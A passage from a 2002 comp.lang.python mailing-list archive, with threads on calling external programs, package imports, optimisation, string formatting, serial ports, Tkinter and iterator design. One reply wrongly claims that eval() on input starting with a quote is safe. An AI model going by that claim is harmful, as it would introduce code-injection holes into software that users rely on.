Message-ID: <3CDC86E1.219CE5CB@engcorp.com> Catherine Yang wrote: > > How to use Python to call another file, e.g. a SAS file *.sas ? Well, since you don't usually "call" a file, you might get a variety of helpful and unhelpful answers. My try at being helpful is this: import os sasFileName = 'MYFILE.SAS' os.system('sasapp.exe %s' % sasFileName) In other words, I'm guessing you really want to call the application that uses .SAS files, passing it the name of the file in question. Replace 'sasapp.exe' with the appropriate path to the executable etc. Or was I way off the mark here with my guess as to what you're trying to do? -Peter From hancock at anansispaceworks.com Wed May 8 03:28:38 2002 From: hancock at anansispaceworks.com (Terry Hancock) Date: Wed, 08 May 2002 00:28:38 -0700 Subject: Render HTML? Message-ID: <3CD8D3A6.AD85EB08@anansispaceworks.com> I have a need to render some HTML to an image format for a project I'm working on. I've tried html2ps combined with ImageMagick, and it might be good enough, but I do have some complaints: * html2ps is in Perl, which introduces a new language dependency (of course just about any web server will probably have Perl anyway). * It chokes on a lot of modern web pages, especially those with frames or javascript. It appears that one might be able to use Gecko (the rendering engine from Mozilla), but it's not clear to me how much work would be involved in interfacing it to my Python-based program, or whether any of this work has already been done. I can run html2ps using os.system() or popen() calls -- a similar interface, or better yet, a Python API, would be nice. It's not too critical an application, so I might just stick to html2ps, if it's too hard to do something else. But it only works about 80% of the time, and sometimes it actually hangs (memory problems?). Any ideas, pet projects, etc? Cheers, Terry -- ------------------------------------------------------ Terry Hancock hancock at anansispaceworks.com Anansi Spaceworks http://www.anansispaceworks.com ------------------------------------------------------ From elimli at yahoo.com Wed May 1 05:38:14 2002 From: elimli at yahoo.com (eli li) Date: Wed, 1 May 2002 11:38:14 +0200 Subject: _socket on solaris Message-ID: When I run my program on Solaris, the next message is printed. Traceback (most recent call last): . . . . . . . . . . . . . . . . . . . . . File "/usr/local/lib/python2.2/socket.py", line 41, in ? from _socket import * ImportError: No module named _socket The reason is clear: file _socket is not found. Where can I found this library? From rpm1deletethis at frontiernet.net Sat May 4 19:39:35 2002 From: rpm1deletethis at frontiernet.net (RPM1) Date: Sat, 4 May 2002 19:39:35 -0400 Subject: Using functional tools References: Message-ID: "Alex Martelli" wrote .. > > Numeric, as you see, seem even faster than your extension > (6 times, rather than 4 times, as fast as the slowest Python > code, the one you give as reference). I hope it _is_ well > known that Numeric is often quite worthwhile even for heavy > array manipulations that have nothing particularly 'numeric' > about them:-). > > Personally, unless I was already using Numeric for something > else in the program, I'd just code the list comprehension -- > unless and until measurements showed that these few hundredths > of a second (for index-lists of a hundred thousand items) are > part of my program's bottlenecks, of course, in which case I'd > turn to Numeric. Actually I like the Numeric solution. And since this is a chess program, this function will easily be called 100's of millions of times. So ANY savings is worth while. Thanks! Patrick From sholden at holdenweb.com Mon May 13 22:36:03 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 13 May 2002 22:36:03 -0400 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: "iwk" wrote in message news:3CDE9D7B.7050408 at xs4all_removethisalso.nl... > Hi there, > > We've been using a custom developed html/python templating system which > runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that > was never taken into production. Now however, a customer wants to deploy > the system on Apache 2 running on Win32 and the site is expected to > attract a rather large number of visistors on occasion. Considering the > abysmal performance of CGI apps on Windows, this poses a considerable > problem. > > My question is: are there any *stable* solutions available to enable > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on > Apache 1.3 as far as I know and Mod_snake seems to have been taken off > line....) > A recent thread seemed to suggest the best way would simply be to have Apache map a subset of URLs to a pure-Python server process. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From oren-py-l at hishome.net Thu May 30 09:09:38 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Thu, 30 May 2002 09:09:38 -0400 Subject: 'for every' and 'for any' In-Reply-To: References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: <20020530130938.GB82198@hishome.net> On Wed, May 29, 2002 at 08:48:33PM +0000, Quinn Dunkan wrote: > >I don't have a personal utility library. It's on purpose. I don't have > >personalized key bindings. I try to avoid customization. Customization is > >a big part of what makes one programmer's code difficult to maintain by > >another programmer, what makes on programmers's workstation unusable by > >another and makes combining code from several sources difficult. > > Um, customizing your workstation is only going to cause problems for other > people if they use your account. I'm hoping they don't do that? No one can > use my wacky setup but they don't need to because I log out when I'm done. Nobody else ever uses my workstation but if I customize it too much I will feel crippled whenever I ssh or install a new machine somewhere. So I ask myself whether I really need it. > All of the good programmers I've seen working have idiosyncratic setups. And they spend ridiculous amounts of time fine-tuning their setup that could not possibly be justified by the alleged efficiency gained. I used to do that too. It's fun, but it is not rational activity. Python is one of the things that helped me stop it. It's just good enough as it is. I only need a nice editor (vi will do if I'm on an alien machine) and Python which comes installed by default more and more often. > Of the hard-to-maintain code I've looked at, it's always been not enough > abstraction, rather than too much. People who are used to C and Pascal It has nothing to do with abstraction. I'm talking about the part of the learning curve called "making youself feel at home". If the environment is not powerful enough and makes you jump through hoops for common tasks it encourages gratuitous customization until you feel comfortable. > library, but using one vs. not using one. There seems to be some kind of > cultural thing where C programmers like to reinvent stuff. Or something. I think they hate reinventing stuff, but C is just not powerful enough as it is when you finish the installation. I am not talking about theoretical Turing-equivalence, I'm talking about the power of sitting down and just writing what you want without too much fuss. So they customize and search for the right generic utility library or write their own. And it's never the *same* utility library, of course. > stacked up later. No language can come with everything in the box, and an > attempt to make it so is trouble because everyone's needs are different. Python comes close. It answers more people's needs with less things to learn and keep in your mind. Languages are not all born equal. Some of them have Dutch ancestry :-) Oren From python at pferris.com Wed May 22 18:21:52 2002 From: python at pferris.com (Peter F. Ferris) Date: Wed, 22 May 2002 17:21:52 -0500 Subject: ImportError: No module named win32com.client" error Message-ID: Greetings, Whenever I try: import win32com.client I get a "ImportError: No module named win32com.client" error. This is leading up to the next line of code, which is something like: SomeSite = win32com.client.Dispatch('CuteFTPPro.TEConnection') What's up with the "import win32com.client" line? Is this a (3rd party) module I need to specifically hand import? If so, how do I do it, and where do I find it? If not, what might I be doing wrong? Running Win2000 with Python 2.2.1c1 All hints & suggestions appreciated! --Peter From sholden at holdenweb.com Wed May 1 10:26:32 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 10:26:32 -0400 Subject: Importing dynamically loaded modules (in packages)? References: Message-ID: "holger krekel" wrote in message news:mailman.1020262266.572.python-list at python.org... > On Wed, May 01, 2002 at 03:30:16AM +0200, Irmen de Jong wrote: > > "holger krekel" wrote in message > > news:mailman.1020213066.536.python-list at python.org... > > > > > > "import Package.TestModule" still doesn't work: ""no module named > > TestModule"" > > > > How can I correct this? > > > > > > sys.modules['Package.TestModule'] = TestModule > > > > > > after that you should be able to do > > > > > > import Package.TestModule > > > > Ouch... isn't that cheating? I mean, the Module name is "TestModule", > > not "Package.TestModule". > > Yes, it's the blessed way of cheating, though. > See 'os' and 'os.path' for example. > > The package concept falls a bit out of python. > After rereading the docs at > http://www.python.org/doc/essays/packages.html > it doesn't feel like a thoroughly thought out concept > (compared to so many other things in python). > The central quote to focus on appears to be """Note that when using "from package import item", the item can be either a submodule (or subpackage) of the package, or some other name defined in a the package, like a function, class or variable. The import statement first tests whether the item is defined in the package; if not, it assumes it is a module and attempts to load it. If it fails to find it, ImportError is raised. Contrarily, when using syntax like "import item.subitem.subsubitem", each item except for the last must be a package; the last item can be a module or a package but can't be a class or function or variable defined in the previous item.""" [Quotes added to replace emphasis in this non-formatted version]. > There is no 'package' object to start with and package > functionalities are not encapsulated anywhere. > So it seems approriate to think of a package as a > concept of nested modules and accessing them with > respect to directory structure and filesystem-coupled > initialization. > A package is a directory containing an __init__.py file. When the package is imported (which mjust happen before any submodules or subpackages can be imported) the __init__.py file is executed. At its simplest this file can be empty. It might also set the "__all__" special attribute to indicate exactly those names which should be imported by the stamement "from module import *". At its most complex it can set up huge data structures whose presence its sub-modules and sub-packages are going to take for granted. > imho Python3 should have a better grip > on packages. > imho Motherhood and apple-pie are good ;-) Anything that makes Python applications easier to package and distribute will be a good thing. "Python 3 should have a better grip on packages" comes nowhere near making Python applications easier to package and distribute ;-) > Is their already something underway? There have been lots of attempts to mess with module import mechanisms, some less successful than others. Probably the most important requirement is better documentation. As I pointed out earlier this week, it doesn't help to have the documentation say things like "[XXX can't be bothered to spell all this out]". I would guess that probably Gordon McMillan knows more about the import mechanism than most, but he's pretty busy keeping his installer up to date. > Does anybody disagree? > That motherhood and apple pie are good? Who could possibly disagree? a-better-question-is-who's-going-to-do-something-about-it-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From skip at pobox.com Thu May 16 13:43:15 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 16 May 2002 12:43:15 -0500 Subject: how to determine an 'open' string? In-Reply-To: <20020516164007.A28033@prim.han.de> References: <20020516164007.A28033@prim.han.de> Message-ID: <15587.61363.297849.836081@12-248-41-177.client.attbi.com> holger> with my replacement rlcompleter module i'd like to holger> have a *correct* check if a string is 'open'. How about just trying to eval() the string? Assuming it begins with a quotation mark or apostrophe it should be safe to call eval(). Either it's a complete string in which case eval() is safe, or it's an open string and you get a SyntaxError. You obviously don't eval stuff that doesn't start with other characters. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From pinard at iro.umontreal.ca Thu May 9 09:00:33 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 09 May 2002 09:00:33 -0400 Subject: Simple question about how the optimizer works In-Reply-To: <3cda43fd_1@goliath2.newsgroups.com> References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> Message-ID: [jb] > > How often is then f called in the following code: > > > > print g(f(x),f(x)) > > print h(f(x),f(x)) > > > > I think this topic is called "common subexppression elimination" in > > computer science. > [...] I have tried and I am a bit surprised that f is called four times! > Why? Python does not really optimise the code it generates. Some brave souls (Skip in particular) did flurries of tries in that direction, and kind of demonstrated that byte-code optimisations might not be as rewarding as we could have thought it would be. In the particular case above, CSE may not be applied, because the optimiser, if it existed, could not assume that `f' has no side-effect. Suppose: def f(x): global y y = y + 1 return x + y then `y' should be incremented four times, not one. Moreover, I do not remember that Python specifies that function arguments are evaluated left to right, or right to left. But I may be wrong, I'm not sure. If the order is unspecified, and `f' does not always return the same value for the same argument, the code in the original message would not even be sensible Python, because it would yield unpredictable results. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From fperez528 at yahoo.com Thu May 16 23:22:08 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 16 May 2002 21:22:08 -0600 Subject: Stupid string formatting question References: Message-ID: Michael S. Fischer wrote: >> you just returned ("hi, "there", ("a", "b")) which is len(3) not 4. > > OK. What can I do to make this work? > This is what doesn't work: In [8]: print "%s/%s/%s/%s" % ("hi", "there", x()) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) ? TypeError: not enough arguments for format string But this does: In [9]: print "%s/%s/%s/%s" % ( ("hi", "there")+ x()) hi/there/a/b See the difference? you need to build a _single_ list of 4 elements. cheers, f. From pinard at iro.umontreal.ca Tue May 28 07:13:05 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 28 May 2002 07:13:05 -0400 Subject: The email package and KLEZ mails In-Reply-To: <20020528090826.GG505@lilith.my-fqdn.de> References: <3cf33c82.91718234@News.CIS.DFN.DE> <20020528123126.E27752@phd.pp.ru> <20020528090826.GG505@lilith.my-fqdn.de> Message-ID: [Gerhard H?ring] > Which is good, because it's a certain sign that you can just throw the > message away because all the interesting email you'll get will be RFC > compliant >:-) In my experience, incorrect MIME structure is one of the numerous hints about mail being SPAM. I do not remember a single false positive. Strangely enough to me, many SPAM makers still do not follow RFCs. Consequently, various filters detect various departures from RFCs. Such detections are only temporary measures: in the long term, SPAM makers are going to learn and improve. In the mean time, this is mere luck for us :-). -------------- next part -------------- -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From kosh at aesaeion.com Wed May 1 17:55:58 2002 From: kosh at aesaeion.com (kosh at aesaeion.com) Date: Wed, 1 May 2002 15:55:58 -0600 (MDT) Subject: duh - which Python? In-Reply-To: <3CD05FA9.458E76C@earth.ox.ac.uk> Message-ID: On Wed, 1 May 2002, Nick Belshaw wrote: > Hi - I would be very grateful for a little advice. > > I am configuring a new Linux RedHat7.2 box and have become > confused about which Python vesion I should go for. > > I need it to run with Zope, Pmw, Blt, Postgres - at least...... > > I have been using old stuff with 1.5.2 but thought an upgrade would be > 'fun' > > - however !! > I saw a note saying Zope crashed with 2.1.3 2.1.3 fixed a problem in previous versions of python that caused zope to crash. 2.1.3 has been very stable for me and it did fix the zope crashes. :) Overall I would recommend using python 2.1.3 since it is the most stable and includes more of the newer features. You could also do 2.2.1 but as you stated that has some problems of its own for you right now. However zope will NOT run with python 2.2.x so if you are doing zope then do python 2.1.3 and zope 2.5.1 and do a source version of zope not a binary install of it. That should work well for you and is very similar to how I have things setup on my debian box. From mlh at vier.idi.ntnu.no Thu May 30 20:43:22 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 31 May 2002 00:43:22 +0000 (UTC) Subject: Killing a socket server in DOS? Message-ID: I've written a simple server using asyncore.dispatcher as a superclass; in UNIX I don't ave any problems with it, but in DOS it seems I can't kill the asyncore.loop() loop with Ctrl-Z or Ctrl-C or Ctrl-D or anything... Is there a way? Should I implement it differently? (I could always add functionality for killing it through the protocol itself, but that seems a bit unnecessary...) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From jb at cascade-sys.com Fri May 17 17:55:44 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 17 May 2002 14:55:44 -0700 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <1021645025.3396@yasure> Message-ID: <3CE57C60.C4367602@cascade-sys.com> Donn Cave wrote: > | 1. existing in a person's mind and not produced by things outside it, not > | objective. > | 2. depending on personal taste or views, etc. > > 1. Arguably the empty set, unless your person has some supernatural > power to generate something ab nihilo. (Mine doesn't.) (a) Not anticipating an argument, I was simply quoting the OAD's entry, FWIW. (b) Without resorting to the supernatural, all sorts of things go on inside of MY mind that are not produced by things outside. Imagination is a cool thing. So is Opinion. Someone says something I think is silly. There is a stimulus of the someone saying something but the conclusion that it is 'silly' is purely subjective in the #1 sense. Similarly, I like to believe that all my Political beliefs are firmly rooted in concrete facts and analysis, but I bet I would have a hard time building the case that they're truly objective. > I don't think your genetic predisposition model for this is really very > useful, and moreover I don't think any model is necessary. Human beauty was offered an example of something usually thought to be subjective when in fact it really is somewhat objective -- in agreement with your observation. It doesn't and wasn't intended to apply to judging the beauty of code (which I argue is mainly Subjective). > I'm not trying > to establish a particular mechanical basis for beauty of code. The point > is that there surely is a basis for it, and almost as surely it applies > to everyone. I think I may agree but it's in that Nameless-Quality way that is actually fairly subjective. Or it may be in the Godel incompleteness theorm sense, that in many cases it may be true but there's no way to prove it. > | Note how often these topics come up and the answer is that "you > | have no choice, eventually you'll get used to it, once you're properly > | Pythonized it won't seem so bad..." Sounds like the epitome of SUBJECTIVE to > | me. > > Yes, but here "subjective" is really about development. I think this is where the key disconnect happens on this issue. The original complaint is that the decision to make the language this way is a mistake c and the answer is about development, that it doesn't matter in the long run. > You can develop > in a variety of directions depending on the influences of environment, > there's no arguing that. True. > Is there also a non-subjective factor, i.e., > objective beauty? If we are all the same in some ways, then yes. These > two can be in conflict, hence rap music, and list comprehensions. TO the extent it's objective there should be no conflict. Conflict comes from contrary subjective views. Or 'objective' views from conflicting viewpoints, which is the same thing. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From shalehperry at attbi.com Thu May 16 22:03:47 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 16 May 2002 19:03:47 -0700 (PDT) Subject: Stupid string formatting question In-Reply-To: Message-ID: >> There must be something you are not telling us. It works fine for me, > > OK, here's an example. > > >>> def x(): > ... return "a", "b" > ... > >>> print "%s/%s/%s/%s" % ("hi", "there", x()) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: not enough arguments for format string > you just returned ("hi, "there", ("a", "b")) which is len(3) not 4. From marklists at mceahern.com Mon May 13 16:39:38 2002 From: marklists at mceahern.com (Mark McEahern) Date: Mon, 13 May 2002 15:39:38 -0500 Subject: Read file from bottom In-Reply-To: <3CE01380.81F9A087@jpl.nasa.gov> Message-ID: > (I do not want to read the entire file using readlines because it could > overwhelm the memory.) Even so, this is just for the record: http://www.bagley.org/~doug/shootout/bench/reversefile/reversefile.python Cheers, // mark From thenault at nerim.net Wed May 1 14:46:43 2002 From: thenault at nerim.net (Sylvain Thenault) Date: 01 May 2002 20:46:43 +0200 Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> Message-ID: <87d6wfbt9o.fsf@tux.ntw23.fr> amk: > Yow, that's very old indeed. Try > http://www.amk.ca/python/code/crypto.html for a newer version, > 1.9alpha1. (Note that there are endianness-related bugs that show up > on platforms such as SPARC. If you're on an x86 machine, though, > there's no problem with 1.9a1.) Thanks ! So I've really missed something while searching with google... Now it compiles and installs without any problems :-) I've noticed some differences between the documentation [1] and the 1.9a1 release: * where is the Crypto.PublicKey module mentionned in section 5 ? * according to the doc, all hash modules should define a 'digest_size' variable, but MD5 doesn't and SHA defines 'digestsize' [1] http://www.amk.ca/python/writing/pycrypt/pycrypt.html regards -- Sylvain Th?nault From fgeiger at datec.at Sat May 25 08:25:34 2002 From: fgeiger at datec.at (F. GEIGER) Date: Sat, 25 May 2002 14:25:34 +0200 Subject: RS232 + python... References: Message-ID: What exactly is the problem? What's the error message? I work with PySerial on a win2k box and on a nt4 box. The former runs Python 2.1.3, the latter 2.2.1. It works really fine for me, on both machines. Have a look at it. Installing it is, as usually with Python modules, a snap. 1 minute for the install, 1 minute for reading the readme, 1 minute for a script of your own ;-). Cheers Franz GEIGER "SneakerNet" schrieb im Newsbeitrag news:HrHH8.2868$EZ5.397336 at news.xtra.co.nz... > Hey all.. > For our project I have to make a GUI to be able to set values to a device > hooked up to the serial port.. > I started with matlab but found some complications as i had some trouble > under winNT @ university.. > > so decided to switch to python ;o) > but alas i just found some documentation on how to do RS232 communication > but the modules that i have downloaded from this site > http://balder.prohosting.com/ibarona/en/python/uspp/uspp_en.html > > but when i try the first line which is "from uspp import *" i get a error. > can someone pls help me out.. From what i have found out by reading the > documents on uspp is that it was only tested under win95 and i have a > feeling that it might not work under win2k. > > can someone pls pls help me out > > Regards > > > From dalke at dalkescientific.com Thu May 9 14:38:21 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 9 May 2002 12:38:21 -0600 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: James J. Besemer: >So I was suggesting an optimizer that when it saw a form like: > > res = [] > for x in list: > if x: > res.append( x ) > >it would substitute a call to something > > filter( lambda x : x is not None, list ) First, a minor point, this should be (if I understand the current Boolean work) filter( bool, list ) ("if x:" corresponds to (old-style) "if operator.truth(x) == 1:" or (new-style) "if bool(x):" and is not the same as "x not None" because you can override __nonzero__ or __len__, which may be used by the truth test.) There's also fiendish possibilities like >>> class Fiendish: ... def __nonzero__(self): ... return len(sys._getframe().f_back.f_locals.get("res", [])) < 3 ... >>> list = [Fiendish(), Fiendish(), Fiendish(), Fiendish(), Fiendish(), Fiendish() , Fiendish(), Fiendish()] >>> res = [] >>> for x in list: ... if x: ... res.append(x) ... >>> res [<__main__.Fiendish instance at 0x120288ef8>, <__main__.Fiendish instance at 0x120 28d428>, <__main__.Fiendish instance at 0x12028fbe8>] >>> len(res) 3 >>> res = [] >>> import operator >>> res = filter(operator.truth, list) >>> res [<__main__.Fiendish instance at 0x120288ef8>, <__main__.Fiendish instance at 0x120 28d428>, <__main__.Fiendish instance at 0x12028fbe8>, <__main__.Fiendish instance at 0x12028e098>, <__main__.Fiendish instance at 0x12028a7a8>, <__main__.Fiendish i nstance at 0x12028ded8>, <__main__.Fiendish instance at 0x1202904b8>, <__main__.Fi endish instance at 0x12028da28>] >>> len(res) 8 >>> Unless the compiler could look (somehow!) into the definition of each __nonzero__, or disable optimizations if _getframe(), sys.exc_info(), etc. are used *anywhere* in the Python code, then there's no way it can build that optimization. Andrew dalke at dalkescientific.com From davidpereira at shaw.ca Sun May 5 00:50:32 2002 From: davidpereira at shaw.ca (David Pereira) Date: Sun, 05 May 2002 04:50:32 GMT Subject: YACC grammar for Python Message-ID: Hi, I was wondering where I could get a YACC grammar for Python. I have managed to find the ``grammar.txt'' file which is part of the Python spec, but have been having trouble converting it to YACC. I was wondering if someone has already does this. David. From p.g at figu.no Tue May 21 01:31:30 2002 From: p.g at figu.no (Per Gummedal) Date: Tue, 21 May 2002 07:31:30 +0200 Subject: Anyone have a EBCDIC codec? In-Reply-To: <60FB8BB7F0EFC7409B75EEEC13E20192158E79@admin56.narex.com> References: <60FB8BB7F0EFC7409B75EEEC13E20192158E79@admin56.narex.com> Message-ID: <199742841421.20020521073130@figu.no> Bjorn wrote: > Anyone have a EBCDIC codec for Python 2.2.1? see in /lib/encodings cp037.py is ebcdic USA --- Per From achim.domma at syynx.de Fri May 10 04:44:59 2002 From: achim.domma at syynx.de (Achim Domma) Date: Fri, 10 May 2002 10:44:59 +0200 Subject: Embedding Python in VB References: <40db6069.0205100013.7aed5ba8@posting.google.com> Message-ID: Hi, I don't know what your problem is, because you don't post any error message. But anyway I would write a COM Object around python to use it from VB, which is the much cleaner way. With pythons win32 extensions you could write this object in Python, if you wish to. greetings Achim "Pierre-Andre Dumay" wrote in message news:40db6069.0205100013.7aed5ba8 at posting.google.com... > Hi Guys, > > I have succesfully embedded the Python interpreter in a C application > that calls the documented high level C-routines. > I would like now to call these routine Py_Initialize(), > Py_RunSimpleString directly from VB code. I declared these functions > from the Python22.dll in my header as I would normally do with any > other function calls to another windows dll but it doesn't seem to > work. > > What am I doing wrong ? > > Thank you for your help. > > Pierre-Andre From peter at abbnm.com Fri May 3 16:23:34 2002 From: peter at abbnm.com (Peter da Silva) Date: 3 May 2002 20:23:34 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Christopher Browne wrote: > Centuries ago, Nostradamus foresaw when peter at abbnm.com (Peter da Silva) would write: > > In article , > > Christopher Browne wrote: > >> It's probably fair to call C++ the PL/1 of the 1990s; > > That is HORRIBLY unfair to PL/I. > Why not? PL/I's horribly complex, but it's horribly complex because it was trying to include every feature that anyone wanted without really attempting to limit its scope. It's possible to learn a subset of the language without having to deal with the rest. PL/I was a nasty thing, but it was a traditional nastiness, a well known old monster like a werewolf or vampire that everyone knows how to deal with... you stock up on silver bullets and holy water and don't let them worry you. C++ is horribly complex because the original design was a more or less pragmatic scheme to support object oriented programming in a non-object- oriented language. As shortcomings in that design came to light, they were patched by creating new features and then inventing new syntaxes to describe them without conflicting with existing code. Then to try and simplify things people have developed standard libraries... which are rather nice in a lot of ways... on top of that. The problem is that you really do need to understand an awful lot of stuff to understand that those libraries are really doing. The original C++ was a really nifty idea like Ratfor was a really nifty idea. It should have stayed a short term solution, like Ratfor, and been superceded by better designs as time went on. > None of that points to any of the _technical_ qualities of the > languages, but I wasn't pointing at all at technicalities in this > context... It's hard to think about C++ without summoning Dread Cthulhu and Id Monsters, and wishing that the worst you had to deal with were vampires. -- I've seen things you people can't imagine. Chimneysweeps on fire over the roofs of London. I've watched kite-strings glitter in the sun at Hyde Park Gate. All these things will be lost in time, like chalk-paintings in the rain. `-_-' Time for your nap. | Peter da Silva | Har du kramat din varg, idag? 'U` From kragen at pobox.com Mon May 20 01:32:57 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 01:32:57 -0400 Subject: Tkinter command parameters References: <8278fed0.0205191536.1b0227d1@posting.google.com> Message-ID: <833cwntmd2.fsf@panacea.canonical.org> lennybonilla at hotmail.com (Lenny) writes: > self.mybutton = Button(parent, command = func(1)) > self.mybutton.grid() > > def func(number): > print str(number) > What am I doing wrong? You want command=lambda: func(1). From gcordova at hebmex.com Thu May 30 16:26:48 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Thu, 30 May 2002 15:26:48 -0500 Subject: Crashing IDLE Message-ID: > > "NOP" at the assembly language level does all those things! Events and > interrupts are generally sensed at instruction/statement > boundaries, and > "pass" would (or should!) count as such. Methinks at a higher level of > abstraction (but not really), the pcode interpreter loop > should be doing > this too. > > David LeBlanc > Seattle, WA USA > Woops, you are so right, and me and my big mouth should keep quiet. Maybe it's the "not barely enough coffee in the morning" syndrome. :-) -gus pd: Isn't it "halt" which does all those things? My Z80 knowledge is becoming hazy... From tjreedy at udel.edu Mon May 13 12:33:23 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 13 May 2002 16:33:23 GMT Subject: Iterators in Sather and Python (was Re: Result of I need your experience - classification and comparison of languages) References: <20020508200439966+0100@pc-62-30-160-65-hw.blueyonder.co.uk> <3CDF6D3E.1090609@hmg.inpg.fr> Message-ID: (Note: according to my understanding of Outlook Express, this should only go to c.l.p and not c.l.r or c.l.s. Please let me know if otherwise.) "Alex Martelli" wrote in message news:lOKD8.34859$CN3.1237997 at news2.tin.it... > Sather iterators are indeed awesome and I highly recommend everybody > to study them, see: > http://www.icsi.berkeley.edu/~sather/Publications/toplas.html I found this interesting and useful for better understanding iteration both in Python and elsewhere. But I am slightly less impressed with the Sather alternative. As a result of having 'loop...end' as the only loop construct, Sather generalizes 'iterator' to 'something that controls looping' from 'something that sequentially accesses collection items -- which may control looping as a side-effect'. Sather combine two ideas that I think are better kept somewhat separate: loop control and sequential presentation of implicit or explicit set/container contents. A Sather iterator yields nothing (not even None) for pure loop control (to go on), something for at least implicit sequencing, or quits (equivalent to raise StopIteration in Python). Hence, every class inherits the control iterators while!(), until!(), and break! even though they have nothing in particular to do with the class and its values. I find this to be as much confusing as elegant. However, Sather's generalization does suggest a *possible* proprosal for Python: make an otherwise uncaught StopIteration consistently do what it says within for and while loop bodies as as well as in for-loop headers. IE, implicitly wrap loop bodies with try: except StopIteration: break In particular, item = iterator.next() would (if not otherwise wrapped with try) act like try: item = iterator.next() except StopIteration: break as it implicitly does now in for headers. This would also allow (for better or worse) def until(val): if val: raise StopIteration while 1: until(condition) which should mostly end requests for a do-while or until statement. Counterargument: does not add functionality; explicit better than implicit except in bounded context such as for loop head. > Traversing more than one structure at a time is easy for Sather, not for Ruby. Python, of course, has map and zip and proposals (accepted yet?) for lazy, iterator/generator oriented versions. > Python's iterators are far closer to Sather's -- some minor details, > such as the fact that to get the next item from a Python iterator > you call .next() on it (or use it in the headclause of a for > statement), while a Sather iterator gives its next value whenever > you use it within a loop statement, are little more than syntax > sugar (Sather's sugar is nicer, Python's way simpler to retrofit > into an existing language;-). Some editors could convert '!' to '.next()'. One would just have to be careful in comments and strings ;<), unless the editor was also code/comment/string-literal aware. > Sather's iterators are _way_ more powerful than Python's because > Sather's can accept both "hot" arguments (evaluated anew each time > the iterator is called) and "once" ones (evaluated only at the first > call on the iterator). Python generators can be called with mutable arguments, can they not? This is somewhat analogous to using mutable defaults and even 'hotter' (more bug and confusion prone) since arg mutations are not confined to the body of the function or even calls thereto. Without discipline, this is a poor way to write a consumer iterator. Reduce() is Python's generic consumer iterator. Python's slice setting generalizes Sather's set!() and it therefore arguably better even though a special syntax is needed. Any class can be given whatever iterator-like consumer methods one wants to write. I see four main differences between a consumer function and a (Sather) consumer iterator: 1. The iterator is called n times instead of once (bad) but the function may make n calls if it gets an producer iterator rather than an explicit sequence (then even). 2. The iterator returns n results (n-1 partial) instead of just the final one (bad unless they are actually wanted, in which case the function can return a list). 3. The iterator can yield and resume anywhere in the body text, though the example given yields as the bottom. However, a function can just as easily grab the next item via indexing or .next() call anywhere it pleases, as needed. Seems pretty even to me. 4. The iterator maintains state in local variables between calls while a function written to act as an iterator has to either use global variables (slower and subject to clashes with other processes), use instance variables (slower but probably the default best choice, though still subject to clash with other methods of the same instance), or stash and retrieve local variables in instance variables (slower and cumbersome, so should be limited to variables used repeatedly in internal loops; but such may not be needed in functions meant to be called repeatedly with one item at a time). This is a win for Sather's generalization of yield. >All in all, if a totally new language was being designed I think >I'd go for something closer to Sather's iterators rather than >Python's, but its a delicate judgment ... Each fit into their language. Sather mostly lies between S-expression Lisp and Python in terms of syntactic uniformity/diversity. Both uniformity and variety have advantages as others have discussed. If a language has non-function statement syntax like 'loop ... end' and 'if ... then ...', then I prefer that control items like while, until, and break be part of that statement syntax. I (and others) see while as a multiple-execution version of if. On the other hand, resumable consumers are in general as sensible as resumable producers. It is Python's for-loops which make the latter more special for Python. Terry J. Reedy From tchur at optushome.com.au Wed May 29 18:32:01 2002 From: tchur at optushome.com.au (Tim Churches) Date: Thu, 30 May 2002 08:32:01 +1000 Subject: Transforming Clusters into a Color Map References: <7396d2b2.0205291424.49a9e95f@posting.google.com> Message-ID: <3CF556E0.5F1224A5@optushome.com.au> Lemniscate wrote: > > Hi all, > > I have recently been asked to write a program that will operate on > huge arrays of numbers. As such, I have quickly immersed myself in > Numeric. Things are going well (Numeric, in my experience, is > extremely effective and relatively easy to learn). > > However, I've been informed that I need to 